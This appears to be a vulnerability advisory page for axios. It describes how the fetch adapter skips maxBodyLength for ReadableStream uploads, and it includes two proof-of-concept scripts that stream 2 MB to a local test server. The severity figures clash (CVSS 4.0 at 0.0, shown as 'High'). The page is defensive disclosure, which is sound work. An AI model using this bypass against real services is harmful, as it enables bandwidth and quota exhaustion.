Skip to content

GHSA-jqh4-m9w3-8hp9 CVE-2026-67317

Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.60%
Chance of exploitation in the next 30 days. Higher than 48.79% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
1.18.0
Upgrade axios to this version or later

Description

Summary

axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.

This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.

Impact

An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.

This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.

Affected Functionality

Affected:

  • adapter: "fetch" or environments where axios selects the fetch adapter.
  • Request methods with bodies, such as POST, PUT, and PATCH.
  • data as a WHATWG ReadableStream without a reliable Content-Length.
  • Configurations that set maxBodyLength to a finite value.

Not affected:

  • Axios versions before the fetch adapter was introduced.
  • The Node HTTP adapter stream enforcement path.
  • Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.

Technical Details

In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.

The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().

When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.

The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.

Proof of Concept of Attack

Run from the axios repo root on Node 18+ against an affected version:

import http from 'node:http';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

function makeReadableStream(totalBytes) {
  const chunk = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;

  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${port}/upload`,
    makeReadableStream(PAYLOAD_BYTES),
    {
      adapter: 'fetch',
      maxBodyLength: LIMIT,
      headers: { 'content-type': 'application/octet-stream' },
    }
  );

  console.log(response.data);
} finally {
  server.close();
}

Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.

Workarounds

Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.

<details> <summary>Original Report</summary>

Summary

axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.

Details

In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:

fetch.js Lines 121-155

  const getBodyLength = async (body) => {
    if (body == null) {
      return 0;
    }
    if (utils.isBlob(body)) {
      return body.size;
    }
    if (utils.isSpecCompliantForm(body)) {
      const _request = new Request(platform.origin, {
        method: 'POST',
        body,
      });
      return (await _request.arrayBuffer()).byteLength;
    }
    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
      return body.byteLength;
    }
    if (utils.isURLSearchParams(body)) {
      body = body + '';
    }
    if (utils.isString(body)) {
      return (await encodeText(body)).byteLength;
    }
  };
  const resolveBodyLength = async (headers, body) => {
    const length = utils.toFiniteNumber(headers.getContentLength());
    return length == null ? getBodyLength(body) : length;
  };

For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:

fetch.js Lines 214-232

      // Enforce maxBodyLength against the outbound request body before dispatch.
      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
      // maxBodyLength limit'). Skip when the body length cannot be determined
      // (e.g. a live ReadableStream supplied by the caller).
      if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
        const outboundLength = await resolveBodyLength(headers, data);
        if (
          typeof outboundLength === 'number' &&
          isFinite(outboundLength) &&
          outboundLength > maxBodyLength
        ) {
          throw new AxiosError(
            'Request body larger than maxBodyLength limit',
            AxiosError.ERR_BAD_REQUEST,
            config,
            request
          );
        }
      }

The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:

fetch.js Lines 253-261

        if (_request.body) {
          const [onProgress, flush] = progressEventDecorator(
            requestContentLength,
            progressEventReducer(asyncDecorator(onUploadProgress))
          );
          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
        }

The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.

PoC

import http from 'node:http';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
  req.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeReadableStream(totalBytes) {
  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;
  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(
      `http://127.0.0.1:${port}/upload`,
      makeReadableStream(PAYLOAD_BYTES),
      {
        adapter: 'fetch',
        maxBodyLength: LIMIT,
        headers: { 'content-type': 'application/octet-stream' },
        // No content-length: the stream's total length is unknown ahead of
        // dispatch, which is exactly the vulnerable code path.
      }
    );
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
}

Impact

  • Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
  • Bypass of cost / quota guards on upstream APIs.
  • Resource exhaustion against the runtime's network stack and against upstream peers.

</details>

Affected versions

npm

PackageVulnerableFixed in
axios
>= 1.7.0, < 1.18.0
1.18.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

axios npm → 1.18.0

npm
npm install axios@1.18.0
yarn
yarn add axios@1.18.0
pnpm
pnpm add axios@1.18.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
Low

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-44g4-m2mj-wpvx
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
Medium Also affects axios
GHSA-x97p-jq2g-jp4f
Axios: Prototype Pollution Gadget in axios toFormData Options
High Also affects axios
GHSA-vh66-26gq-q6x8
Axios: Prototype pollution gadget in fetch adapter can alter outbound requests
Medium Also affects axios
GHSA-r4gj-5m52-g5wh
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
High Also affects axios
GHSA-mghh-pgcx-3jjj
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
High Also affects axios
GHSA-m8m8-qj5v-23w3
Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
High Also affects axios
GHSA-j8rh-479h-cp32
Axios: Header Injection via Inherited headers After Minimal Interceptor
Medium Also affects axios
GHSA-c29m-xwm3-cm6r
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
High Also affects axios
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor